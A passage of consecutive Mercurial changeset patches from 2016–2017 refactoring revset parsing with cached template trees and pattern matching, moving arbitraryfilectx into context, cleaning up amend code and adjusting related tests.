  10000 loops, best of 3: 48.4 usec per loop

30usec isn't dominant compared to the revset evaluation, but that is a cost.
That's why a parsed tree is cached, which can benefit in hgweb or chg server.

diff --git a/mercurial/revsetlang.py b/mercurial/revsetlang.py
--- a/mercurial/revsetlang.py
+++ b/mercurial/revsetlang.py
@@ -239,6 +239,25 @@
     return parser.buildargsdict(getlist(x), funcname, parser.splitargspec(keys),
                                 keyvaluenode='keyvalue', keynode='symbol')
 
+# cache of {spec: raw parsed tree} built internally
+_treecache = {}
+
+def _cachedtree(spec):
+    # thread safe because parse() is reentrant and dict.__setitem__() is atomic
+    tree = _treecache.get(spec)
+    if tree is None:
+        _treecache[spec] = tree = parse(spec)
+    return tree
+
+def _build(tmplspec, *repls):
+    """Create raw parsed tree from a template revset statement
+
+    >>> _build('f(_) and _', ('string', '1'), ('symbol', '2'))
+    ('and', ('func', ('symbol', 'f'), ('string', '1')), ('symbol', '2'))
+    """
+    template = _cachedtree(tmplspec)
+    return parser.buildtree(template, ('symbol', '_'), *repls)
+
 def _isnamedfunc(x, funcname):
     """Check if given tree matches named function"""
     return x and x[0] == 'func' and getsymbol(x[1]) == funcname
@@ -302,16 +321,15 @@
 
     op = x[0]
     if op == 'minus':
-        return _analyze(('and', x[1], ('not', x[2])))
+        return _analyze(_build('_ and not _', *x[1:]))
     elif op == 'only':
-        t = ('func', ('symbol', 'only'), ('list', x[1], x[2]))
-        return _analyze(t)
+        return _analyze(_build('only(_, _)', *x[1:]))
     elif op == 'onlypost':
-        return _analyze(('func', ('symbol', 'only'), x[1]))
+        return _analyze(_build('only(_)', x[1]))
     elif op == 'dagrangepre':
-        return _analyze(('func', ('symbol', 'ancestors'), x[1]))
+        return _analyze(_build('ancestors(_)', x[1]))
     elif op == 'dagrangepost':
-        return _analyze(('func', ('symbol', 'descendants'), x[1]))
+        return _analyze(_build('descendants(_)', x[1]))
     elif op == 'negate':
         s = getstring(x[1], _("can't negate that"))
         return _analyze(('string', '-' + s))
@@ -367,9 +385,9 @@
         w = min(wa, wb)
 
         # (::x and not ::y)/(not ::y and ::x) have a fast path
-        tm = _matchonly(ta, tb) or _matchonly(tb, ta)
-        if tm:
-            return w, ('func', ('symbol', 'only'), tm)
+        m = _matchonly(ta, tb) or _matchonly(tb, ta)
+        if m:
+            return w, _build('only(_, _)', *m[1:])
 
         if tb is not None and tb[0] == 'not':
             return wa, ('difference', ta, tb[1])
@@ -387,7 +405,7 @@
                 w, t = ss[0]
             else:
                 s = '\0'.join(t[1] for w, t in ss)
-                y = ('func', ('symbol', '_list'), ('string', s))
+                y = _build('_list(_)', ('string', s))
                 w, t = _optimize(y, False)
             ws.append(w)
             ts.append(t)
@@ -407,8 +425,7 @@
     elif op == 'not':
         # Optimize not public() to _notpublic() because we have a fast version
         if x[1][:3] == ('func', ('symbol', 'public'), None):
-            newsym = ('func', ('symbol', '_notpublic'), None)
-            o = _optimize(newsym, not small)
+            o = _optimize(_build('_notpublic()'), not small)
             return o[0], o[1]
         else:
             o = _optimize(x[1], not small)
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1455712269 -32400
#      Wed Feb 17 21:31:09 2016 +0900
# Node ID 79681d8ee587ccbb5bbbfcf2f4a187e66b6557b1
# Parent  b862e6fca7ac2bbf59837ae63a97a2b9715002e8
parser: add helper function to test if pattern matches parsed tree

This function will be used as follows:

  match('ancestors(_) and not ancestors(_)', x)

See the next patch for details.

diff --git a/mercurial/parser.py b/mercurial/parser.py
--- a/mercurial/parser.py
+++ b/mercurial/parser.py
@@ -312,6 +312,59 @@
         raise error.ProgrammingError('too many replacements')
     return r
 
+def _matchtree(pattern, tree, placeholder, incompletenodes, matches):
+    if pattern == tree:
+        return True
+    if not isinstance(pattern, tuple) or not isinstance(tree, tuple):
+        return False
+    if pattern == placeholder and tree[0] not in incompletenodes:
+        matches.append(tree)
+        return True
+    if len(pattern) != len(tree):
+        return False
+    return all(_matchtree(p, x, placeholder, incompletenodes, matches)
+               for p, x in zip(pattern, tree))
+
+def matchtree(pattern, tree, placeholder=None, incompletenodes=()):
+    """If a tree matches the pattern, return a list of the tree and nodes
+    matched with the placeholder; Otherwise None
+
+    >>> def f(pattern, tree):
+    ...     m = matchtree(pattern, tree, _, {'keyvalue', 'list'})
+    ...     if m:
+    ...         return m[1:]
+
+    >>> _ = ('symbol', '_')
+    >>> f(('func', ('symbol', 'ancestors'), _),
+    ...   ('func', ('symbol', 'ancestors'), ('symbol', '1')))
+    [('symbol', '1')]
+    >>> f(('func', ('symbol', 'ancestors'), _),
+    ...   ('func', ('symbol', 'ancestors'), None))
+    >>> f(('range', ('dagrange', _, _), _),
+    ...   ('range',
+    ...     ('dagrange', ('symbol', '1'), ('symbol', '2')),
+    ...     ('symbol', '3')))
+    [('symbol', '1'), ('symbol', '2'), ('symbol', '3')]
+
+    The placeholder does not match the specified incomplete nodes because
+    an incomplete node (e.g. argument list) cannot construct an expression.
+
+    >>> f(('func', ('symbol', 'ancestors'), _),
+    ...   ('func', ('symbol', 'ancestors'),
+    ...     ('list', ('symbol', '1'), ('symbol', '2'))))
+
+    The placeholder may be omitted, but which shouldn't match a None node.
+
+    >>> _ = None
+    >>> f(('func', ('symbol', 'ancestors'), None),
+    ...   ('func', ('symbol', 'ancestors'), ('symbol', '0')))
+    """
+    if placeholder is not None and not isinstance(placeholder, tuple):
+        raise error.ProgrammingError('placeholder must be a node tuple')
+    matches = [tree]
+    if _matchtree(pattern, tree, placeholder, incompletenodes, matches):
+        return matches
+
 def parseerrordetail(inst):
     """Compose error message from specified ParseError object
     """
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1455712859 -32400
#      Wed Feb 17 21:40:59 2016 +0900
# Node ID f23cbca9b2771454269dc6a3e064a00d078621f0
# Parent  79681d8ee587ccbb5bbbfcf2f4a187e66b6557b1
revsetlang: match tree by helper function on optimize

This should make optimize() more readable and less error-prone, but it doubles
the parsing cost.

  (original)
  $ python -m timeit -n10000 -s 'from mercurial import revsetlang as L' \
  'L.optimize(L.analyze(L.parse("ancestors(x) and not ancestors(y)")))'
  10000 loops, best of 3: 79.3 usec per loop

  (this patch)
  $ python -m timeit -n10000 -s 'from mercurial import revsetlang as L' \
  'L._treecache.clear(); \
   L.optimize(L.analyze(L.parse("ancestors(x) and not ancestors(y)")))'
  10000 loops, best of 3: 201 usec per loop

diff --git a/mercurial/revsetlang.py b/mercurial/revsetlang.py
--- a/mercurial/revsetlang.py
+++ b/mercurial/revsetlang.py
@@ -258,6 +258,18 @@
     template = _cachedtree(tmplspec)
     return parser.buildtree(template, ('symbol', '_'), *repls)
 
+def _match(patspec, tree):
+    """Test if a tree matches the given pattern statement; return the matches
+
+    >>> _match('f(_)', parse('f()'))
+    >>> _match('f(_)', parse('f(1)'))
+    [('func', ('symbol', 'f'), ('symbol', '1')), ('symbol', '1')]
+    >>> _match('f(_)', parse('f(1, 2)'))
+    """
+    pattern = _cachedtree(patspec)
+    return parser.matchtree(pattern, tree, ('symbol', '_'),
+                            {'keyvalue', 'list'})
+
 def _isnamedfunc(x, funcname):
     """Check if given tree matches named function"""
     return x and x[0] == 'func' and getsymbol(x[1]) == funcname
@@ -278,15 +290,7 @@
     return x[2]
 
 def _matchonly(revs, bases):
-    """
-    >>> f = lambda *args: _matchonly(*map(parse, args))
-    >>> f('ancestors(A)', 'not ancestors(B)')
-    ('list', ('symbol', 'A'), ('symbol', 'B'))
-    """
-    ta = _matchnamedfunc(revs, 'ancestors')
-    tb = bases and bases[0] == 'not' and _matchnamedfunc(bases[1], 'ancestors')
-    if _isposargs(ta, 1) and _isposargs(tb, 1):
-        return ('list', ta, tb)
+    return _match('ancestors(_) and not ancestors(_)', ('and', revs, bases))
 
 def _fixops(x):
     """Rewrite raw parsed tree to resolve ambiguous syntax which cannot be
@@ -389,8 +393,9 @@
         if m:
             return w, _build('only(_, _)', *m[1:])
 
-        if tb is not None and tb[0] == 'not':
-            return wa, ('difference', ta, tb[1])
+        m = _match('not _', tb)
+        if m:
+            return wa, ('difference', ta, m[1])
         if wa > wb:
             op = 'andsmally'
         return w, (op, ta, tb)
@@ -424,7 +429,7 @@
         return max(ws), (op, ('list',) + tuple(ts))
     elif op == 'not':
         # Optimize not public() to _notpublic() because we have a fast version
-        if x[1][:3] == ('func', ('symbol', 'public'), None):
+        if _match('public()', x[1]):
             o = _optimize(_build('_notpublic()'), not small)
             return o[0], o[1]
         else:
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1503147843 -32400
#      Sat Aug 19 22:04:03 2017 +0900
# Node ID b2c691d75d933a52d404399faee64e44237533a6
# Parent  f23cbca9b2771454269dc6a3e064a00d078621f0
revsetlang: remove unused functions

Superseded by the _match() function.

diff --git a/mercurial/revsetlang.py b/mercurial/revsetlang.py
--- a/mercurial/revsetlang.py
+++ b/mercurial/revsetlang.py
@@ -270,25 +270,6 @@
     return parser.matchtree(pattern, tree, ('symbol', '_'),
                             {'keyvalue', 'list'})
 
-def _isnamedfunc(x, funcname):
-    """Check if given tree matches named function"""
-    return x and x[0] == 'func' and getsymbol(x[1]) == funcname
-
-def _isposargs(x, n):
-    """Check if given tree is n-length list of positional arguments"""
-    l = getlist(x)
-    return len(l) == n and all(y and y[0] != 'keyvalue' for y in l)
-
-def _matchnamedfunc(x, funcname):
-    """Return args tree if given tree matches named function; otherwise None
-
-    This can't be used for testing a nullary function since its args tree
-    is also None. Use _isnamedfunc() instead.
-    """
-    if not _isnamedfunc(x, funcname):
-        return
-    return x[2]
-
 def _matchonly(revs, bases):
     return _match('ancestors(_) and not ancestors(_)', ('and', revs, bases))
 
# HG changeset patch
# User Christophe de Vienne <christophe@cdevienne.info>
# Date 1504023891 -7200
#      Tue Aug 29 18:24:51 2017 +0200
# Node ID 0e0ac8f090483cd5f6cbd93a71f928edeb6c7d70
# Parent  b2c691d75d933a52d404399faee64e44237533a6
extensions: prohibit unicode defaults

If the default value of an option is a unicode string (something
than happen easily when using a 'from __future__ import unicode_literals'),
any value passed on the command line will be ignored because the fancyopts
module only checks for byte strings and not unicode strings.

Changing fancyopts behavior is easy but would make assumptions on how
the python3 port should be done, which is outside the scope of this patch.

The chosen approach is to stop an extension from being loaded when a unicode
default value is detected, with a hint for the developer.

diff --git a/mercurial/extensions.py b/mercurial/extensions.py
--- a/mercurial/extensions.py
+++ b/mercurial/extensions.py
@@ -133,6 +133,14 @@
                           "registrar.command to register '%s'" % c, '4.6')
         missing = [a for a in _cmdfuncattrs if not util.safehasattr(f, a)]
         if not missing:
+            for option in e[1]:
+                default = option[2]
+                if isinstance(default, type(u'')):
+                    raise error.ProgrammingError(
+                        "option '%s.%s' has a unicode default value"
+                        % (c, option[1]),
+                        hint=("change the %s.%s default value to a "
+                              "non-unicode string" % (c, option[1])))
             continue
         raise error.ProgrammingError(
             'missing attributes: %s' % ', '.join(missing),
diff --git a/tests/test-extension.t b/tests/test-extension.t
--- a/tests/test-extension.t
+++ b/tests/test-extension.t
@@ -1709,3 +1709,26 @@
   $ hg --config extensions.nonregistrar=`pwd`/nonregistrar.py version > /dev/null
   devel-warn: cmdutil.command is deprecated, use registrar.command to register 'foo'
   (compatibility will be dropped after Mercurial-4.6, update your code.) * (glob)
+
+Prohibit the use of unicode strings as the default value of options
+
+  $ hg init $TESTTMP/opt-unicode-default
+
+  $ cat > $TESTTMP/test_unicode_default_value.py << EOF
+  > from mercurial import registrar
+  > cmdtable = {}
+  > command = registrar.command(cmdtable)
+  > @command('dummy', [('', 'opt', u'value', u'help')], 'ext [OPTIONS]')
+  > def ext(*args, **opts):
+  >     print(opts['opt'])
+  > EOF
+  $ cat > $TESTTMP/opt-unicode-default/.hg/hgrc << EOF
+  > [extensions]
+  > test_unicode_default_value = $TESTTMP/test_unicode_default_value.py
+  > EOF
+  $ hg -R $TESTTMP/opt-unicode-default dummy
+  *** failed to import extension test_unicode_default_value from $TESTTMP/test_unicode_default_value.py: option 'dummy.opt' has a unicode default value
+  *** (change the dummy.opt default value to a non-unicode string)
+  hg: unknown command 'dummy'
+  (did you mean summary?)
+  [255]
# HG changeset patch
# User Phil Cohen <phillco@fb.com>
# Date 1504287343 25200
#      Fri Sep 01 10:35:43 2017 -0700
# Node ID 6330df9d6393eeb4ec67c484122086b44cf54cc7
# Parent  0e0ac8f090483cd5f6cbd93a71f928edeb6c7d70
simplemerge: remove unused `repo` parameter

This is now no longer used or needed thanks to the `decodeddata()` context
function.

Differential Revision: https://phab.mercurial-scm.org/D602

diff --git a/mercurial/filemerge.py b/mercurial/filemerge.py
--- a/mercurial/filemerge.py
+++ b/mercurial/filemerge.py
@@ -341,8 +341,7 @@
                 labels = _defaultconflictlabels
             if len(labels) < 3:
                 labels.append('base')
-        r = simplemerge.simplemerge(ui, fcd, fca, fco,
-                                    quiet=True, label=labels, repo=repo)
+        r = simplemerge.simplemerge(ui, fcd, fca, fco, quiet=True, label=labels)
         if not r:
             ui.debug(" premerge successful\n")
             return 0
@@ -371,8 +370,7 @@
     of merge, unless mode equals 'union' which suppresses the markers."""
     ui = repo.ui
 
-    r = simplemerge.simplemerge(ui, fcd, fca, fco,
-                                label=labels, mode=mode, repo=repo)
+    r = simplemerge.simplemerge(ui, fcd, fca, fco, label=labels, mode=mode)
     return True, r, False
 
 @internaltool('union', fullmerge,
@@ -423,9 +421,8 @@
     """
     assert localorother is not None
     tool, toolpath, binary, symlink = toolconf
-    r = simplemerge.simplemerge(repo.ui, fcd, fca, fco,
-                                label=labels, localorother=localorother,
-                                repo=repo)
+    r = simplemerge.simplemerge(repo.ui, fcd, fca, fco, label=labels,
+                                localorother=localorother)
     return True, r
 
 @internaltool('merge-local', mergeonly, precheck=_mergecheck)
diff --git a/mercurial/simplemerge.py b/mercurial/simplemerge.py
--- a/mercurial/simplemerge.py
+++ b/mercurial/simplemerge.py
@@ -413,7 +413,7 @@
         result[i] = override
     return result
 
-def simplemerge(ui, localctx, basectx, otherctx, repo=None, **opts):
+def simplemerge(ui, localctx, basectx, otherctx, **opts):
     """Performs the simplemerge algorithm.
 
     The merged result is written into `localctx`.
# HG changeset patch
# User Phil Cohen <phillco@fb.com>
# Date 1504287343 25200
#      Fri Sep 01 10:35:43 2017 -0700
# Node ID b4226ad98366ef2876d01028b179fe7dcf074dea
# Parent  6330df9d6393eeb4ec67c484122086b44cf54cc7
simplemerge: remove unused `filtereddata` parameter

Differential Revision: https://phab.mercurial-scm.org/D603

diff --git a/contrib/simplemerge b/contrib/simplemerge
--- a/contrib/simplemerge
+++ b/contrib/simplemerge
@@ -88,7 +88,6 @@
                                      filebackedctx(local),
                                      filebackedctx(base),
                                      filebackedctx(other),
-                                     filtereddata=True,
                                      **opts))
 except ParseError as e:
     sys.stdout.write("%s: %s\n" % (sys.argv[0], e))
# HG changeset patch
# User Phil Cohen <phillco@fb.com>
# Date 1504291940 25200
#      Fri Sep 01 11:52:20 2017 -0700
# Node ID d2fc88426d21c82450535f952ae413f2bd6aad49
# Parent  b4226ad98366ef2876d01028b179fe7dcf074dea
context: add arbitraryfilectx, which can represent files outside the workdir

Move it from contrib/simplemerge so it can be re-used in the future.

Differential Revision: https://phab.mercurial-scm.org/D604

diff --git a/contrib/simplemerge b/contrib/simplemerge
--- a/contrib/simplemerge
+++ b/contrib/simplemerge
@@ -9,6 +9,7 @@
 
 from mercurial.i18n import _
 from mercurial import (
+    context,
     error,
     fancyopts,
     simplemerge,
@@ -49,26 +50,6 @@
     for first, second in out_opts:
         sys.stdout.write(' %-*s  %s\n' % (opts_len, first, second))
 
-class filebackedctx(object):
-    """simplemerge requires context-like objects"""
-    def __init__(self, path):
-        self._path = path
-
-    def decodeddata(self):
-        with open(self._path, "rb") as f:
-            return f.read()
-
-    def flags(self):
-        return ''
-
-    def path(self):
-        return self._path
-
-    def write(self, data, flags):
-        assert not flags
-        with open(self._path, "w") as f:
-            f.write(data)
-
 try:
     for fp in (sys.stdin, sys.stdout, sys.stderr):
         util.setbinary(fp)
@@ -85,9 +66,9 @@
             raise ParseError(_('wrong number of arguments'))
     local, base, other = args
     sys.exit(simplemerge.simplemerge(uimod.ui.load(),
-                                     filebackedctx(local),
-                                     filebackedctx(base),
-                                     filebackedctx(other),
+                                     context.arbitraryfilectx(local),
+                                     context.arbitraryfilectx(base),
+                                     context.arbitraryfilectx(other),
                                      **opts))
 except ParseError as e:
     sys.stdout.write("%s: %s\n" % (sys.argv[0], e))
diff --git a/mercurial/context.py b/mercurial/context.py
--- a/mercurial/context.py
+++ b/mercurial/context.py
@@ -2385,3 +2385,34 @@
                 removed.append(f)
 
         return scmutil.status(modified, added, removed, [], [], [], [])
+
+class arbitraryfilectx(object):
+    """Allows you to use filectx-like functions on a file in an arbitrary
+    location on disk, possibly not in the working directory.
+    """
+    def __init__(self, path):
+        self._path = path
+
+    def cmp(self, otherfilectx):
+        return self.data() != otherfilectx.data()
+
+    def path(self):
+        return self._path
+
+    def flags(self):
+        return ''
+
+    def data(self):
+        return util.readfile(self._path)
+
+    def decodeddata(self):
+        with open(self._path, "rb") as f:
+            return f.read()
+
+    def remove(self):
+        util.unlink(self._path)
+
+    def write(self, data, flags):
+        assert not flags
+        with open(self._path, "w") as f:
+            f.write(data)
# HG changeset patch
# User Gregory Szorc <gregory.szorc@gmail.com>
# Date 1504233615 25200
#      Thu Aug 31 19:40:15 2017 -0700
# Node ID ca6a3852daf08275d28dcec7696bd32ec9a8bd75
# Parent  d2fc88426d21c82450535f952ae413f2bd6aad49
util: use set for reserved Windows filenames

Previously, we were performing membership testing against a
list. Change it to a set for a minor perf win. While we're at it,
explode the assignment in place so less work is needed at module
import time.

Differential Revision: https://phab.mercurial-scm.org/D600

diff --git a/mercurial/util.py b/mercurial/util.py
--- a/mercurial/util.py
+++ b/mercurial/util.py
@@ -1230,9 +1230,11 @@
 
     return hardlink, num
 
-_winreservednames = b'''con prn aux nul
-    com1 com2 com3 com4 com5 com6 com7 com8 com9
-    lpt1 lpt2 lpt3 lpt4 lpt5 lpt6 lpt7 lpt8 lpt9'''.split()
+_winreservednames = {
+    'con', 'prn', 'aux', 'nul',
+    'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
+    'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
+}
 _winreservedchars = ':*?"<>|'
 def checkwinfilename(path):
     r'''Check that the base-relative path is a valid filename on Windows.
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1504289635 25200
#      Fri Sep 01 11:13:55 2017 -0700
# Node ID 24ce7b0edaf93876c5f004ba786424b0f38fd7dc
# Parent  ca6a3852daf08275d28dcec7696bd32ec9a8bd75
test-amend: match output using conditional test case name

D466 (6cc8f848b4c3) allows output to be conditionally matched by test name.
This patch changes test-amend.t to use that feature, instead of duplicating
`hg amend` command or use `-q` to silence its output.

Differential Revision: https://phab.mercurial-scm.org/D601

diff --git a/tests/test-amend.t b/tests/test-amend.t
--- a/tests/test-amend.t
+++ b/tests/test-amend.t
@@ -28,9 +28,9 @@
   $ hg update B -q
   $ echo 2 >> B
 
+  $ hg amend
+  saved backup bundle to $TESTTMP/repo1/.hg/strip-backup/112478962961-af2c0941-amend.hg (glob) (obsstore-off !)
 #if obsstore-off
-  $ hg amend
-  saved backup bundle to $TESTTMP/repo1/.hg/strip-backup/112478962961-af2c0941-amend.hg (glob)
   $ hg log -p -G --hidden -T '{rev} {node|short} {desc}\n'
   @  1 be169c7e8dbe B
   |  diff --git a/B b/B
@@ -50,7 +50,6 @@
      \ No newline at end of file
   
 #else
-  $ hg amend
   $ hg log -p -G --hidden -T '{rev} {node|short} {desc}\n'
   @  3 be169c7e8dbe B
   |  diff --git a/B b/B
@@ -100,12 +99,14 @@
   $ echo 3 > C
   $ echo 4 > D
   $ hg add C D
-  $ hg amend -m NEWMESSAGE -I C -q
+  $ hg amend -m NEWMESSAGE -I C
+  saved backup bundle to $TESTTMP/repo1/.hg/strip-backup/be169c7e8dbe-c24d73fe-amend.hg (glob) (obsstore-off !)
   $ hg log -r . -T '{node|short} {desc} {files}\n'
   c7ba14d9075b NEWMESSAGE B C
   $ echo 5 > E
   $ rm C
-  $ hg amend -d '2000 1000' -u 'Foo <foo@example.com>' -A C D -q
+  $ hg amend -d '2000 1000' -u 'Foo <foo@example.com>' -A C D
+  saved backup bundle to $TESTTMP/repo1/.hg/strip-backup/c7ba14d9075b-b26ed45c-amend.hg (glob) (obsstore-off !)
   $ hg log -r . -T '{node|short} {desc} {files} {author} {date}\n'
   14f6c4bcc865 NEWMESSAGE B D Foo <foo@example.com> 2000.01000
 
@@ -118,10 +119,12 @@
   > EOF
   $ chmod +x $TESTTMP/prefix.sh
 
-  $ HGEDITOR="sh $TESTTMP/prefix.sh" hg amend --edit -q
+  $ HGEDITOR="sh $TESTTMP/prefix.sh" hg amend --edit
+  saved backup bundle to $TESTTMP/repo1/.hg/strip-backup/14f6c4bcc865-6591f15d-amend.hg (glob) (obsstore-off !)
   $ hg log -r . -T '{node|short} {desc}\n'
   298f085230c3 EDITED: NEWMESSAGE
-  $ HGEDITOR="sh $TESTTMP/prefix.sh" hg amend -e -m MSG -q
+  $ HGEDITOR="sh $TESTTMP/prefix.sh" hg amend -e -m MSG
+  saved backup bundle to $TESTTMP/repo1/.hg/strip-backup/298f085230c3-d81a6ad3-amend.hg (glob) (obsstore-off !)
   $ hg log -r . -T '{node|short} {desc}\n'
   974f07f28537 EDITED: MSG
 
@@ -129,7 +132,8 @@
   $ hg amend -l $TESTTMP/msg -m BAR
   abort: options --message and --logfile are mutually exclusive
   [255]
-  $ hg amend -l $TESTTMP/msg -q
+  $ hg amend -l $TESTTMP/msg
+  saved backup bundle to $TESTTMP/repo1/.hg/strip-backup/974f07f28537-edb6470a-amend.hg (glob) (obsstore-off !)
   $ hg log -r . -T '{node|short} {desc}\n'
   507be9bdac71 FOO
 
@@ -137,7 +141,7 @@
 
   $ touch F G
   $ hg add F G
-  $ cat <<EOS | hg amend -i --config ui.interactive=1 -q
+  $ cat <<EOS | hg amend -i --config ui.interactive=1
   > y
   > n
   > EOS
@@ -149,6 +153,7 @@
   new file mode 100644
   examine changes to 'G'? [Ynesfdaq?] n
   
+  saved backup bundle to $TESTTMP/repo1/.hg/strip-backup/507be9bdac71-7ae43d04-amend.hg (glob) (obsstore-off !)
   $ hg log -r . -T '{files}\n'
   B D F
 
@@ -195,7 +200,7 @@
 
   $ hg phase -r A --public
   $ hg update -C -q A
-  $ hg amend -m AMEND -q
+  $ hg amend -m AMEND
   abort: cannot amend public changesets
   [255]
 
@@ -209,7 +214,8 @@
   > A B
   > EOS
   $ hg update -q C
-  $ hg amend -m FOO -q
+  $ hg amend -m FOO
+  saved backup bundle to $TESTTMP/repo3/.hg/strip-backup/a35c07e8a2a4-15ff4612-amend.hg (glob) (obsstore-off !)
   $ rm .hg/localtags
   $ hg log -G -T '{desc}\n'
   @    FOO
# HG changeset patch
# User Michael Bolin <mbolin@fb.com>
# Date 1504297706 0
#      Fri Sep 01 20:28:26 2017 +0000
# Node ID 3c82b14d28385883b696e8f97586886873f172ff
# Parent  24ce7b0edaf93876c5f004ba786424b0f38fd7dc
editor: file created for diff action should have .diff suffix

This is a follow-up to https://phab.mercurial-scm.org/D464 (6e6452bc441d) that
introduced the new file extension behavior. It erroneously changed `.diff` to
`.diff.hg.txt`.

Test Plan:
Verified `make tests` passes, particularly `test-editor-filename.t`.

Differential Revision: https://phab.mercurial-scm.org/D607

diff --git a/mercurial/ui.py b/mercurial/ui.py
--- a/mercurial/ui.py
+++ b/mercurial/ui.py
@@ -1361,7 +1361,9 @@
             extra_defaults.update(extra)
         extra = extra_defaults
 
-        if action:
+        if action == 'diff':
+            suffix = '.diff'
+        elif action:
             suffix = '.%s.hg.txt' % action
         else:
             suffix = extra['suffix']
diff --git a/tests/test-editor-filename.t b/tests/test-editor-filename.t
--- a/tests/test-editor-filename.t
+++ b/tests/test-editor-filename.t
@@ -33,3 +33,31 @@
   *.histedit.hg.txt (glob)
   abort: edit failed: editor.sh exited with status 1
   [255]
+
+Verify that when performing an action that has the side-effect of creating an
+editor for a diff, the file ends in .diff.
+
+  $ echo 1 > one
+  $ echo 2 > two
+  $ hg add
+  adding one
+  adding two
+  $ hg commit --interactive --config ui.interactive=true --config ui.interface=text << EOF
+  > y
+  > e
+  > q
+  > EOF
+  diff --git a/one b/one
+  new file mode 100644
+  examine changes to 'one'? [Ynesfdaq?] y
+  
+  @@ -0,0 +1,1 @@
+  +1
+  record change 1/2 to 'one'? [Ynesfdaq?] e
+  
+  *.diff (glob)
+  editor exited with exit code 1
+  record change 1/2 to 'one'? [Ynesfdaq?] q
+  
+  abort: user quit
+  [255]
# HG changeset patch
# User Saurabh Singh <singhsrb@fb.com>
# Date 1504303734 25200
#      Fri Sep 01 15:08:54 2017 -0700
# Node ID ae92e5c0441ca83c633d484a6853af93396f2ff5
# Parent  3c82b14d28385883b696e8f97586886873f172ff
amend: removing redundant if condition

There is needless checking for the new commit hash not being equal to
the old commit hash. This condition will always be true at this point in the
code path and thus, can be removed safely. This commit removes the redundant
condition.

Test Plan:
ran the test suite.

Differential Revision: https://phab.mercurial-scm.org/D594

diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -3173,13 +3173,14 @@
             newid = repo.commitctx(new)
         finally:
             repo.ui.setconfig('phases', 'new-commit', ph, 'amend')
-        if newid != old.node():
-            # Reroute the working copy parent to the new changeset
-            repo.setparents(newid, nullid)
-            mapping = {old.node(): (newid,)}
-            if node:
-                mapping[node] = ()
-            scmutil.cleanupnodes(repo, mapping, 'amend')
+
+        # Reroute the working copy parent to the new changeset
+        repo.setparents(newid, nullid)
+        mapping = {old.node(): (newid,)}
+        if node:
+            mapping[node] = ()
+        scmutil.cleanupnodes(repo, mapping, 'amend')
+
     return newid
 
 def commiteditor(repo, ctx, subs, editform=''):
# HG changeset patch
# User Saurabh Singh <singhsrb@fb.com>
# Date 1504229739 25200
#      Thu Aug 31 18:35:39 2017 -0700
# Node ID 7e9ccb1670e3069c9b6130e549981b664d546eb1
# Parent  ae92e5c0441ca83c633d484a6853af93396f2ff5
amend: rectify comment

Comment was ambiguous as there can be two parents of a changeset in mercurial.
This commit fixes the comment to clarify that the first parent is being
considered.

Test Plan:
ran the test suite

Differential Revision: https://phab.mercurial-scm.org/D595

diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -3069,7 +3069,7 @@
         #          |
         # old      o - changeset to amend
         #          |
-        # base     o - parent of amending changeset
+        # base     o - first parent of the changeset to amend
 
         # Update extra dict from amended commit (e.g. to preserve graft
         # source)
# HG changeset patch
# User Saurabh Singh <singhsrb@fb.com>
# Date 1504294476 25200
#      Fri Sep 01 12:34:36 2017 -0700
# Node ID da13616d1a922831bb80d0380ac10326acbaed06
# Parent  7e9ccb1670e3069c9b6130e549981b664d546eb1
amend: moving first assignment of newid closer to its use

newid was needlessly further away from where its intended to be used
leading to bad readability. This commit moves it to address the same. The end
goal is to remove the redundant commit in the amend code path and this commit
takes care of cleaning up some unrelated code before that change.

Test Plan:
ran the test suite

Differential Revision: https://phab.mercurial-scm.org/D597

diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
--- a/mercurial/cmdutil.py
+++ b/mercurial/cmdutil.py
@@ -3039,7 +3039,6 @@
     ui.note(_('amending changeset %s\n') % old)
     base = old.p1()
 
-    newid = None
     with repo.wlock(), repo.lock(), repo.transaction('amend'):
         # See if we got a message from -m or -l, if not, open the editor
         # with the message of the changeset to amend
@@ -3164,6 +3163,7 @@
             return old.node()
 
         ph = repo.ui.config('phases', 'new-commit', phases.draft)
+        newid = None
         try:
             if opts.get('secret'):
                 commitphase = 'secret'
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1504356585 -32400
#      Sat Sep 02 21:49:45 2017 +0900
# Node ID 4bf1889456f3550c7adf10b9a14c0afd4d3a6420
# Parent  da13616d1a922831bb80d0380ac10326acbaed06
test-editor-filename: fix portability of fake editor command

 - /bin/bash doesn't exist on FreeBSD
 - edit is executed by cmd.exe on Windows

diff --git a/tests/test-editor-filename.t b/tests/test-editor-filename.t
--- a/tests/test-editor-filename.t
+++ b/tests/test-editor-filename.t
@@ -5,20 +5,18 @@
 Create an editor that writes its arguments to stdout and set it to $HGEDITOR.
 
   $ cat > editor.sh << EOF
-  > #!/bin/bash
   > echo "\$@"
   > exit 1
   > EOF
-  $ chmod +x editor.sh
   $ hg add editor.sh
-  $ HGEDITOR=$TESTTMP/editor.sh
+  $ HGEDITOR="sh $TESTTMP/editor.sh"
   $ export HGEDITOR
 
 Verify that the path for a commit editor has the expected suffix.
 
   $ hg commit
   *.commit.hg.txt (glob)
-  abort: edit failed: editor.sh exited with status 1
+  abort: edit failed: sh exited with status 1
   [255]
 
 Verify that the path for a histedit editor has the expected suffix.
@@ -31,7 +29,7 @@
   $ hg commit --message 'At least one commit for histedit.'
   $ hg histedit
   *.histedit.hg.txt (glob)
-  abort: edit failed: editor.sh exited with status 1
+  abort: edit failed: sh exited with status 1
   [255]
 
 Verify that when performing an action that has the side-effect of creating an
# HG changeset patch
# User Saurabh Singh <singhsrb@fb.com>
# Date 1504294474 25200
#      Fri Sep 01 12:34:34 2017 -0700
# Node ID 6fb5a06b92c62d4ac8c3e6468ddadc8c46c4da1e
# Parent  4bf1889456f3550c7adf10b9a14c0afd4d3a6420
amend: add tests for amending only some files from commit to be amended

We do not have robust enough tests for scenarios where only some files in a
